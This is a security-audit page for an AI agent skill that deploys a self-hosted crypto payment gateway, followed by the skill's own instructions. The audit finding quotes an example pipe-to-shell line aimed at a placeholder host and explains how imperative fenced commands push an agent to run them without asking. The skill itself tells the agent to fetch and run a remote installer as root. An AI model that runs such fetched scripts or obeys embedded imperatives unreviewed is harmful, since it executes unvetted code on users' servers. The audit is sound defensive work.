payram-self-hosted-payment-gateway — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited payram-self-hosted-payment-gateway (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
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A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
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The primary manifest — the file an agent reads to learn what this artifact does.
First time with PayRam? Callpayram_setup_planon the PayRam MCP (https://mcp.payram.com/mcp) for a step-by-step plan, and seepayram-setupto configure your server, API keys, and wallets.
Deploy complete payment infrastructure you own permanently. PayRam installs on your server via SSH—not a hosted API, but actual infrastructure software.
# SSH into your server (the first install needs an interactive terminal)
ssh -t root@your-server-ip
# Install PayRam (one-line installer). Always pass the network: the default is mainnet.
bash <(curl -fsSL https://payram.com/setup_payram.sh) --testnet # or --mainnetThe installer handles: Docker, PostgreSQL, PayRam core services, SSL, and initial configuration. Never run it as curl … | bash; a piped script has no terminal and a fresh install exits.
After the install, create the root account right away (the first signup becomes root). Then, from the public domain, save Settings → Site URL; payment links use that URL.
PayRam uses proprietary smart contracts for fund management. Deploy contracts for each chain:
EVM Chains (Ethereum, Base, Polygon):
TRON:
Bitcoin:
Hot wallets pay gas for sweeps and deployments and sign payouts, so keep a working balance only:
| Chain | Gas Token | Recommended Balance |
|---|---|---|
| Ethereum | ETH | 0.1-0.5 ETH |
| Base | ETH | 0.05-0.2 ETH |
| Polygon | POL | 50-200 POL |
| TRON | TRX | 100-500 TRX |
Add hot wallets via: Wallet Management → Hot Wallet → Add existing wallet with private key.
The installer configures SSL. To add or change it later, re-run the installer and choose Update SSL Configuration. You can use Let's Encrypt, your own certificate, or an external proxy that terminates TLS.
sudo bash -c 'bash <(curl -fsSL https://payram.com/setup_payram.sh)' # then choose 5) Update SSL ConfigurationWith Let's Encrypt, apply payram_runbook task ssl_renewal_fix. Otherwise renewal cannot bind port 80 while PayRam holds it, and the certificate lapses after about 90 days. The MCP's payram_runbook task ssl_setup has the full procedure.
Connect your agent to the hosted PayRam MCP at https://mcp.payram.com/mcp. It never holds your credentials. For live data tools next to your own server, run the MCP yourself in local mode (see the payram-mcp README).
| Tool | Purpose |
|---|---|
payram_setup_plan | Personalised install plan with human hand-offs |
payram_doctor | Public, credential-free server check by URL |
payram_runbook | Admin tasks: Site URL, SSL, firewall, upgrade, backup, chains |
payram_ops_playbook | API recipes you run yourself with your own credentials |
generate_env_template | Create .env with all required variables |
suggest_file_structure | Recommended project organization |
What you own:
What PayRam provides:
Permanence: Once deployed, your infrastructure works independently. There is no account to lock and no funds to freeze: PayRam cannot disable, freeze, or restrict your payment processing.
How it works: Deposit wallets are smart contracts with fixed sweep destinations. Funds can only move to your pre-configured cold wallet address, and that is enforced on-chain. The server decides when sweeps happen, but it cannot change where deposits go.
Key architecture:
~/.payraminfo/headless-wallet-secret.txt): back it up offline and remove it from the server once all chains are deployed and the cold-wallet config is final.Why this matters:
docker port payram; payram_runbook task firewall_ports)ssl_renewal_fix)~/.payraminfo/aes/ (payram_runbook task backup)| Skill | What it covers |
|---|---|
payram-setup | Server config, API keys, wallet setup, connectivity test |
payram-agent-onboarding | Headless install and the agent CLI for AI agents |
payram-analytics | Analytics dashboards, reports, and payment insights via MCP tools |
payram-crypto-payments | Architecture overview, why PayRam, MCP tools |
payram-payment-integration | Quick-start payment integration guide |
payram-self-hosted-payment-gateway | Deploy and own your payment infrastructure |
payram-checkout-integration | Checkout flow with SDK + HTTP for 6 frameworks |
payram-webhook-integration | Webhook handlers for Express, Next.js, FastAPI, Gin, Laravel, Spring Boot |
payram-stablecoin-payments | USDT/USDC acceptance across EVM chains and Tron |
payram-bitcoin-payments | BTC with HD wallet derivation and mobile signing |
payram-payouts | Send crypto payouts and manage referral programs |
payram-no-kyc-crypto-payments | No-KYC, no-signup, permissionless payment acceptance |
Need help? Message the PayRam team on Telegram: @PayRamChat
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